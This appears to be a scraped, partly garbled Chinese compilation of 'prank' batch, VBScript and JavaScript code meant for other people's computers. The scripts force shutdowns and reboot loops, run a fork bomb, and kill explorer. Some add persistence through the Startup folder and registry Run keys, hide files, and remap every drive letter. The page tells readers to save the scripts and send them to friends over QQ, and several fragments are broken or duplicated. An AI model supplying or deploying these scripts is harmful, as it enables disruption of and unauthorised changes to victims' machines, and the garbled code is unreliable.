一个C++整人代码
整人代码大全
整人代码大全让对方重启指定次数（害人专用)＠echo offif not exist c：1。
txt echo。
〉c：1。
txt & goto err1if not exist c:2.txt echo. >c:2。
txt ＆goto err1if not exist c:3.txt echo。
〉c：3。
txt ＆goto err1sif not exist c:4。
txt echo。
>c:4。
txt ＆goto err1if not exist c:5。
txt echo。
〉c:5。
txt ＆goto err1goto err2：err1shutdown -s —t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6。
txt echo。
〉c:6.txt & goto err1那就是重启6次改成7就是7次。
打开“开始→程序→附件→记事本”，把代码部分复制进去,点“另存为”,路径选“你想要放的地方”，保存类型为“所有文件",文件名为“你想要的名字.bat”，你的批量处理器就完成了.善意恶搞关机首先呢，我们在桌面创建个新文件夹然后打开,在上面找到—工具T-文件夹选项O—查看把隐藏已知文件类型的扩展名前面的勾去掉。
然后我们开始制作.在桌面建立个记事本，然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(”wscript.shell”) WSHshellA。
run "cmd。
exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机，不信，试试···"””，0 ,truedim ado while（a 〈〉"我是猪"）a = inputbox （”说我是猪，就不关机，快撒，说”"我是猪"”"，”说不说"，”不说”,8000，7000)msgbox chr(13）+ chr(13）+ chr（13) + a，0，”MsgBox"loopmsgbox chr（13）+ chr(13）+ chr（13）+ ”早说就行了嘛”dim WSHshellset WSHshell = wscript。
整人电脑代码
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
C 语言整人代码大全
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
case 2
收藏的一些整人的代码
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
echo. 系统将马上崩溃......
echo. 这是一个木马程序......所有资料已经传到X@
shutdown /r /t 30 /c "电脑在30s内即将崩溃或爆炸，请拨打1589737****求助或直接爬下……"
ntsd -c q -pn explorer.EⅩE
ping 127.0.0.1 /n 20 >nul
@echo off
echo 删除计算机的C盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的D盘的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已删除完毕
echo.
echo 删除计算机的E盘的所有文件......
结素任务都不行，他只能说他是猪才能解决问题。够坏吧？ 注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?
整人电脑代码
第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。
第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。
一些整人的批处理代码
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2：马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3：立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开＂我的电脑＂看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z
C语言整人程序代码大全
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
这里的数字可以修改关机时间180秒
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
这段代码可以改成你自己设定的地址
整人的小程序代码
VB整人小程序三个第一个:程序代码on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""快叫哥哥，不叫让你1分钟关机，不叫，试试···"" ",0 ,true dim ado while(a <> "哥哥")a = inputbox ("说我是猪,就不关机，快，说""哥哥""","叫不叫","不叫",7000,8000)msgbox chr(13) + chr(13) + chr(13) + a,5000,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早叫就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "又没让你叫老公"msgbox chr(13) + chr(13) + chr(13) + "记住了,锡尔丁,是你""哥哥""呀!"msgbox chr(13) + chr(13) + chr(13) + "知道叫我什么了么?"msgbox chr(13) + chr(13) + chr(13) + "可千万别叫错了!"msgbox chr(13) + chr(13) + chr(13) + "知道我是谁么?"msgbox chr(13) + chr(13) + chr(13) + "记住了""锡尔丁""?"msgbox chr(13) + chr(13) + chr(13) + "记住了么?~~~"msgbox chr(13) + chr(13) + chr(13) + "别恨我呀!恨我就是爱我!"msgbox chr(13) + chr(13) + chr(13) + "爱我就得叫我""老公""了!"msgbox chr(13) + chr(13) + chr(13) + "88,妹妹!"第二个:程序代码Option ExplicitPrivate Sub Command1_Click()Dim wood As StringMsgBox "密码:骂自己", vbCritical,"木头人友情提示" '这里写捉弄人的话wood = InputBox("请输入密码:")If wood = "骂自己" Then '密码可以自己设EndElseShell "cmd.exe /c shutdown -s -t 60" '60秒后关几End IfEnd SubPrivate Sub Command2_Click()Shell "cmd.exe /c shutdown -a"MsgBox "不怎么好玩", vbExclamation,"不玩了"EndEnd Sub第三个:程序代码on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说你自己是笨蛋!你不说你电脑有什么事可别怪我啊!···"" ",0 ,truedim ado while(a <> "我是笨蛋")a = inputbox ("说你自己是笨蛋。